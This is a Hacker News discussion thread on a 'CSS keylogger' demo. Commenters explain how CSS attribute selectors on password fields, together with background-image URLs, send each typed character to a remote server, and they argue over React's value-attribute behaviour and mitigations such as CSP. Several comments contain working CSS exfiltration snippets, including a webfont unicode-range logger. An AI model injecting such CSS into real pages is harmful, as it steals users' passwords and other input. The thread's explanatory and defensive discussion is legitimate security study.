14 ms·
Show HN: A CSS Keylogger
- jlg23 9y agoI have not tried it, but if it works (it should): Chapeau, a very neat exploit indeed.
- rickdmer 9y agoHmm, that's pretty bad. CSS probably shouldn't be able to read password inputs. Edit: This doesn't seem to work for me in Chrome 63.0.3239.132 Edit 2: OK, so it appears that this will only work on a password input that updates its "value" attribute with the typed in value. This doesn't happen unless there is JavaScript that updates the value attr with the input.value
- maxchehab 9y agoAuthor here. I believe the injection of the css in the chrome extension will only work in newer versions of chrome. However the "attack" would still work for all browsers. :)
- xab9 9y agoNice job. Css had similar attacks maybe a decade ago, with link:visited (referer snooping) and image with src to a logged in site... but I like the selector trick. Extensions are a huge attack vector, but as long as one can't turn them off on a per domain basis, I'm convinced that the browsers just don't give a damn.
- Manishearth 9y agoThis is incorrect. The [value=foo] selector does not work for the actual value of the field, only the `value` attribute (used to set the initial value). This means that both: - typing the password - setting the password via element.value=foo will not work The only thing that will hit this is setting the attribute via element.setAttribute("value", "foo"), and this will not update the password. It seems like React does this for whatever reason, though.
- akincisor 9y agoI think it would work against password managers like LastPass which fill in passwords using JS.
- criswell 9y agoIt would only give you the last character of the password though. You can use CSS selectors to check the start [value^=a] and anything in the middle [value*=a] as well though which can be revealing I imagine.
- Klathmon 9y agoWell there's the start [value^=a], the end [value$=a] and the "anywhere" [value*=a] selectors. In something like 13000 selectors you could easily get the first 2, last 2, and any characters in the middle that are in the password making targeted attacks significantly easier. (This is based on very-very rough napkin math assuming an ~80 character dictionary for upper/lower, numbers, and "symbols" since I didn't want to count) That's a lot, but it's well within the realm of possibility (it looks like that would end up as about a 1mb css file)
- bzbarsky 9y agoNot if they do it correctly (by setting .value on the password field)!
- dclowd9901 9y agoSo wouldn't that mean, then, that your CSS matchers would have to contain absolutely every permutation of text possible?
- jaymzcampbell 9y agoThe CSS attribute selector matches against the character at the end of the word [0], so you just need a-z, 0-9 etc and not their permutations. From the end of the readme there's this example: input[type="password"][value$="a"] { background-image: url("http://localhost:3000/a"); } [0] https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_s...
- dmitrygr 9y agoNo, since it matches only the last character, you watch the requests it makes IN order to get the entire password. As you type "qwerty", it will request "Q", "W", "E", "R", "T", and finally "Y" no permutations needed
- gsnedders 9y agoAssuming the server receives the requests in the same order as the requests were sent, which on mobile networks isn't anywhere near so certain.
- theandrewbailey 9y agoIs there even a use case where CSS needs to read any field's value? (Checkboxes and radio buttons have :checked.)
- kodablah 9y agoIt's about the selector, so the question should be rephrased to "Is there even a use case where CSS needs to select a node based on any field's value?". I think the answer is yes, but it can be limited. But it can become annoying to have a blacklist of attributes that aren't allowed to be selected on.
- sgc 9y agoIt's pretty common to check values of a field and set a color to the border etc. based on that, which I think is even very good ui. Maybe browsers should force restricted selectors only on some fields, which only allow limited matching based on predefined character classes or el1 === el2, since it sounds like this could be used for a cross site css attack (perhaps there already were some and I am ignorant).
- jakobegger 9y agoSomething like conditional formatting maybe? Eg. make negative values red? Make an input field red when it contains an invalid character?
- theandrewbailey 9y agoSounds like the pattern attribute and :invalid selector on <input> will do that. https://developer.mozilla.org/en-US/docs/Web/HTML/Element/input#attr-pattern https://developer.mozilla.org/en-US/docs/Web/HTML/Element/in...
- thefifthsetpin 9y agoWhat if it's valid? There's a reason we have the phrases "in the red" and "in the black." Another example where reading the input might be nice: input[type="cc-number"][value^="4"]+.cc-system-icon { background-image: url('visa.png'); }input[type="cc-number"][value^="5"]+.cc-system-icon { background-image: url('master-card.png'); }
- oblosys 9y agoIf you use React, updating the value on every change is a very common pattern.
- criswell 9y agoHopefully most are updating the property and not the attribute.
- humblebee 9y agoIt updates the attribute, you can see this pretty easily by going to the Instagram website. If you inspect the password field in the browser, when you type in a value you can see it reflected on the `value` attribute of the input element.
- vog 9y agoBut that requires extra work, compared to simple JSX-based React code, doesn't it?
- poxrud 9y agoFor those that are confused, updating the property would mean: this.input.value = 'password'; This would be fine. However updating the attribute (the way React recommends it with controlled components) would be something like: <input type="text" value={this.state.value} onChange={this.handleChange} /> This would be vulnerable to the the CSS keylogger.
- arca_vorago 9y agoOne more reason to hate javascript as used and abused by modern "webdevs" and block it all unless absolutely necessary. I try very hard to keep my pages pure css and html.
- elliotec 9y ago...What?
- gear54rus 9y agojust the first stage of 'I hate JS because it's cool to hate JS' second stage is 'OMFG this website doesn't work for me. How could developer not think about my entitled ass and not spend 2x time to make it work without JS?'
- na85 9y agoNo, that's not it at all. It's the only reasonable response to the user-hostile dumpster fire that is the current web. Javascript has made the web better in a small handful of ways, and made the web significantly worse in every other way.
- phoenix616 9y agoYeah, I have JavaScript disabled by default with uMatrix and it's a pretty annoying trend that almost every second page — even a static one page site — needs JavaScript to display anything
- kakarot 9y agoI try very hard to keep my pages pure css and html. That's cool, but you obviously have different requirements for the pages you build, and likely aren't in the SPA space, so your better-than-thou outlook doesn't apply.
- jandrese 9y agoCSS has gone too far. At least when I'm worried about a nasty javascript attack from a site I can be somewhat reassured that noscript/umatrix will work. Am I going to have to start whitelisting CSS now too? Am I too late?
- Raphmedia 9y agoYou are. CSS has gone "too far" the second it allowed linking to images. I can simply background-image:url("myTrackingPixel.png") and then track whenever someone tries to load that image from my server.
- jandrese 9y agoIt drives me crazy when I see someone has implemented Doom in CSS, but it still requires black magic to do a simple responsive three column layout without using bleeding edge features that aren't widely supported yet.
- Raphmedia 9y agoBrowser support (not using Flexbox because of IE) is not that hard once you get your head around it: view-source:http://alistapart.com/d/holygrail/example_3.html http://alistapart.com/d/holygrail/example_3.html http://alistapart.com/d/holygrail/example_3.html http://alistapart.com/d/holygrail/example_3.html
- dmitrygr 9y agoFalls apart entirely on phones (tiny columns of one word wide each, AND horizontal scrolling), so you only proved OP's point...
- Raphmedia 9y agoWell, of course. That's simply a three column layout example without any responsive media queries. It's the bare minimum to a three column "holy grail". If anything, you could simply add the viewport meta tag to have the user's phone zoom in automatically. However, making this example responsive is a piece of cake: @media only screen and (max-width: 1024px) { * { float: none !important; width: 100% !important; margin: 0 !important; padding: 0 !important; position: relative !important; right: auto !important; left: auto !important; } } (Terrible CSS simply to show how easy it is to make it responsive. Normally you wouldn't wildcard important everything but target the right classes. I can't be bothered, this gets the point across.)
- orliesaurus 9y agoWhy do you have to activate the extension before entering the password?
- guntars 9y agoProbably to add the css file to the page you're on.
- okanesen 9y agoSo you can test the "exploit" obviously.
- orliesaurus 9y agoyes obviously, but in a real world scenario how would that work? Malicious extension loads the CSS file in my current tab and sniffs my password on the attacker's server? Can Chrome extensions load CSS without me having to click/activate them?
- maxchehab 9y agoYes they can. This attack does not have to be carried done through a chrome extension. I simply chose that because it is the easiest to show off. This can be hidden inside of a malicious npm module or injected into a website that has poor input sanitization. The most important aspect of this attack is that it is carried out through css. It is possible to block remote javascript code from an extension, in fact, if one wanted to inject javascript into https://instagram.com https://instagram.com (my example on github), they would fail.
- orliesaurus 9y agoThanks OP - that answers it!
- bfred_it 9y agoThe extension is just a way to inject this demo into any site, but extensions that you install can run JavaScript in any site they're allowed to, so this "hack" isn't necessary in that case.
- tritium 9y agoTo be really dangerous, I think this would need to defeat client-side cache strategies. If the browser caches each resource, the server-side reads wouldn't account for repeated characters or overall length with perfect accuracy. Consider palindromes like "racecar." This would still put many, if not most, passwords within guessable striking distance, for anyone able to intercept plain-text HTTP traffic, between Alice (the client) and Bob (the CSS image resource server).
- theandrewbailey 9y agoThis might need to defeat backspace, too.
- regularhackerer 9y agoKeylogger server response can recommend the browser not to cache.
- alasdair_ 9y agoThe server just returns a 400, causing the browser to no longer cache it.
- tritium 9y agoTrue! And now I’m realizing, depending on position in the network, the server doen’t even need to exist, if one only needed to MITM the request traffic... Geeze.
- Raphmedia 9y agoI can't seem to make it work from a web page. Perhaps it's for extensions only? https://jsfiddle.net/tdwsw6zo/3/ https://jsfiddle.net/tdwsw6zo/3/
- rickdmer 9y agoThe input has to have the "value" set in the HTML. https://jsfiddle.net/tdwsw6zo/4/ https://jsfiddle.net/tdwsw6zo/4/
- Raphmedia 9y agoWell, yes of course but that's simply an attribute selector parsing the raw HTML. This can be done with any attribute: <input type="password" hackernews="isthebestwebsite"> input[type="password"][hackernews$="isthebestwebsite"] { background-image: url("http://placehold.it/15x15?text=h4x0r"); http://placehold.it/15x15?text=h4x0r"); } That's not a keylogger at all, the data is already printed in the HTML source.
- sachleen 9y agoYup, you'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense https://www.mike-gualtieri.com/posts/stealing-data-with-css-...
- SpaceNugget 9y agothe point is that react updates the attribute every time you type a character into the password field. So if you have the rules for background-image: url("http://your.server/a"); http://your.server/a"); for password fields that END with 'a', and a rule background-image: url("http://your.server/b"); http://your.server/b"); for password fields that END with 'b', if you type "ab", after the a, the value attribute is updated and the css will request the background for passwords that end with 'a', then when you type b, the attribute is updated again and the css will request the password for 'b's. so you check your server logs and you will have 2 requests, one for a and one for b. you now know that they typed "ab". Most people in the comments don't seem to understand how this works. i.e. you don't need to have rules for all possible passwords, just one for each character.
- commandlinefan 9y agoALWAYS browse with devtools open, and pay close attention to every packet that's being sent out (especially when you're not expecting any to...)
- booleandilemma 9y agoI can’t tell my parents to do that though.
- saagarjha 9y agoThis isn't practical at all. Many websites perform hundreds of requests.
- commandlinefan 9y agoNot while I'm sitting around not doing anything, at least not normally. Gmail refreshes itself every few seconds, but I'd be awfully suspicious if I started seeing a single packet being transmitted each time I typed a character into a password box.
- quickthrower2 9y agoThat's not enough if you are using an online crypto wallet. You also need to check if the seeding is deterministic. And also it could send the data 'later' when you next visit the site rather than now, storing it in indexeddb/localstorage/ etc. So you have a false sense of security. Also as in this example loading a .jpg could be a way of communicating something.
- sachleen 9y agoYou'd have to have all permutations of any length password in the css file AND it would have to be pre-filled using the value attribute. The original post on this talks about it in more detail: https://www.mike-gualtieri.com/posts/stealing-data-with-css-attack-and-defense https://www.mike-gualtieri.com/posts/stealing-data-with-css-... Summary: A method is detailed - dubbed CSS Exfil - which can be used to steal targeted data using Cascading Style Sheets (CSS) as an attack vector. Due to the modern web's heavy reliance on CSS, a wide variety of data is potentially at risk, including: usernames, passwords, and sensitive data such as date of birth, social security numbers, and credit card numbers. The technique can also be used to de-anonymize users on dark nets like Tor. Defense methods are discussed for both website operators as well as web users, and a pair of browser extensions are offered which guard against this class of attack.
- bfred_it 9y agoIn short: this works when the SERVER returns a page with pre-entered information. This is common when returning to a form you previously filled, like an address for, but it's very, very rare for this to happen to a password field. Like, why would a server send you a password field with your real password pre-entered? Every other type of data is fair game... given that the attacker can inject CSS into your pages.
- jaymzcampbell 9y agoIt is using an attribute selector that matches against the last character only - so no giant file of permutations required.
- hughes 9y agoAlso, and critically, the server always responds with an HTTP 400 status code. This prevents caching in most browsers, so the request will be made again when a key is repeated.
- bfred_it 9y agoNo it does not. CSS selectors do not apply to input content and `[value]` selectors apply to attributes, which are not updated by just typing in it. This is not a CSS keylogger if you need to update the attributes with the input value via JS. Edit: this apparently works on React sites because React seems to update the `value` attribute as well. Maybe that should be fixed as it’s unnecessary.
- AndrewStephens 9y agoThis is neat but doesn't really work as an attack. The CSS selectors work on the value HtmlNode attribute rather than the Javascript "value" value, which aren't linked normally. The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me. [edit] Other people pointed this out first. Also, if you are going to all the trouble of making an extension to inject your evil CSS into a page, why not go the whole hog and inject evil ecmascript instead?
- regularhackerer 9y agoAll you need is a website with a vulnerable password form and the ability to serve malicious CSS, say, via an ad. Seems pretty dangerous to me.
- slig 9y ago> The Instagram password field mentioned in the readme.md DOES work this way due to some custom javascript, for reasons that escape me Instagram is a React app and React works that way.
- AndrewStephens 9y agoThanks, always nice to hear from somebody who knows something. So this seem like a flaw in React rather than a flaw in browsers - there is no reason to leak the typed-in password value into the the value attribute where CSS can get its' grubby mitts on it.
- bfrydl 9y agoReact doesn't work that way. It's a convention which I persoally have always found questionable.
- benatkin 9y agoIt's more than a convention. It's presented as the default way to do it in the official docs. https://reactjs.org/docs/forms.html#controlled-components https://reactjs.org/docs/forms.html#controlled-components
- wuyishan 9y agoCouldn't Content Security Policy (CSP) [1] be used to mitigate this attack? [1]: https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP
- maxchehab 9y agoIt actually can't. Instagram does use this protect java-script injection from extensions, but clearly injecting CSS is allowed.
- teilo 9y agoThis has nothing to do with vulnerabilities in CSS or Javascript. It has to do with ill-conceived authentication implementations, written in Javascript, that save passwords in the DOM using attributes that are then accessible via CSS. That is a vulnerability on the website itself. It is also an idiotic thing to do.
- blixt 9y agoI wouldn't be so dismissive about this. It doesn't really matter what bucket this security issue falls under. It also doesn't change much whether it's "idiotic" or not. The fact remains that the coding practices on a website used by about a billion people open up for part 1 of this vulnerability (these CSS styles on Instagram do load external resources as you type), and there are plenty of ways for part 2 (inject the CSS) to occur on many less well maintained sites.
- deleted 9y ago[deleted]
- Buge 9y agoEven if the site doesn't use javascript to update the DOM, it's still vulnerable to similar attacks [0]. The real problem that the attacks relies on is the ability to inject CSS that can load external resources. And Instagram doesn't allow that. [0] https://news.ycombinator.com/item?id=16427394 https://news.ycombinator.com/item?id=16427394
- paxy 9y agoCan't Chrome extensions already intercept network traffic though? Why does this need to be done at the CSS level?
- rocqua 9y agoChrome extensions are used here as the method for injecting CSS, but there are other possible ways to inject such CSS. e.g. ads.
- ktpsns 9y agoThis is a very good question. The github project README does not say anything about the issue with the extensions. Does it also work in a regular page? Weird.
- vbezhenar 9y agoI wonder if it's possible to make auto-updating CSS. CSS can use @import url("another.css"), and "another.css" might be returned with delay and import "another2.css", but I'm not sure if browser would process current css before it'll import everything. If this would work, it could spy even without React. Detect first character, then server returns next CSS to detect second character and so on.
- moeadham 9y agoI hate the internet.
- slantaclaus 9y agoYou should try the cloud it works way better
- lerie82 9y agoi prefer the interwebs
- B1FF_PSUVM 9y agoThe internet was OK, it's the web that broke bad. (Truth to tell, advertisers had their fangs on even the barest 'social media' thing like Usenet, where "spam" not in a tin can was first defined.)
- fiatjaf 9y agoWhy not input[type="password"] { background-image: url(attr(value)); } ?
- bfred_it 9y agourl(attr(...)) isn't supported by any browser yet, AFAIK
- danschumann 9y agoI've been noticing a lot of CSP talk lately, how CSP is the end-all be-all solution for lots of these types of attacks. Makes me think we should have more articles about how to properly implement a CSP! (content security policy-prevents requests to websites not on the white-list -- the background image request would be rejected)
- javajosh 9y agoInterestingly, you can defeat this key logger by typing the last character first, use the arrow key to go left and type in the rest. This works because the CSS selector only matches the end of the value input.
- spyder 9y agoyea, and also when copy-pasting the password.
- deleted 9y ago[deleted]
- sexy_seedbox 9y agoOne way of mitigating this is to have strong passwords NOT in alphanumeric characters (if allowed by website), such as mixing emojis with Asian characters.
- fareesh 9y agoReminds me of meltdown. Pretty neat.
- Kequc 9y agoThis exploit might be defeated with the following css: input[type="password"] { background-image: none !important; } And if the exploit uses `!important` then you just need to make your selector more specific such as putting it inside an id. If you have malicious javascript running on your page there are better ways to steal data. I feel there is low risk of coming across this problem in the wild.
- Illniyar 9y agoActually if you use inline style with important there is no way to override it. I.e. <input type="password" style="background-image:none !important"/>
- ry_ry 9y agoAlthough that does rely on targeting that specific attribute. There are probably a handful of ways to trigger an http request in this instance. You don't actually even need to select that specific node - whilst you can't use :after on replaced elements, if the input has a sibling an attacker could input[type="password"] + div:after or something along those lines. The main takeaway for me is that making a password field a controlled component is a marginal security risk in some instances, and letting people pump their own styles into sign-in pages is a bad idea.
- myfonj 9y agoTo some limited degree (you can detect presence, not position or number of occurences of character), you can do CSS only 'keylogging' even for non-reactive (sans JavaScript) input: you don't have to use attribute selector (which does't work without physical updates), but can exploit webfont with single letter `unicode-range` chunks. Posted it [1] to CrookedStyleSheets [2] some time ago: <!doctype html> <title>css keylogger</title> <style> @font-face { font-family: x; src: url(./log?a), local(Impact); unicode-range: U+61; } @font-face { font-family: x; src: url(./log?b), local(Impact); unicode-range: U+62; } @font-face { font-family: x; src: url(./log?c), local(Impact); unicode-range: U+63; } @font-face { font-family: x; src: url(./log?d), local(Impact); unicode-range: U+64; } input { font-family: x, 'Comic sans ms'; } </style> <input value="a">type `bcd` and watch network log [1] https://github.com/jbtronics/CrookedStyleSheets/issues/24 https://github.com/jbtronics/CrookedStyleSheets/issues/24 [2] https://news.ycombinator.com/item?id=16157773 https://news.ycombinator.com/item?id=16157773
- Manishearth 9y agoThis will not work with password fields.
- sachleen 9y agoThen there's always this: https://www.troyhunt.com/bypassing-browser-security-warnings-with-pseudo-password-fields/ https://www.troyhunt.com/bypassing-browser-security-warnings...
- twhb 9y agoThis isn’t a problem. CSS could already control what’s displayed and what effect it has. It could already make clicking “next page” open an invisible chat to their account, your password box send your password as a message, and your message from a friend read anything they want. It’s always been a trusted asset. What might be a problem is developers not treating it as such.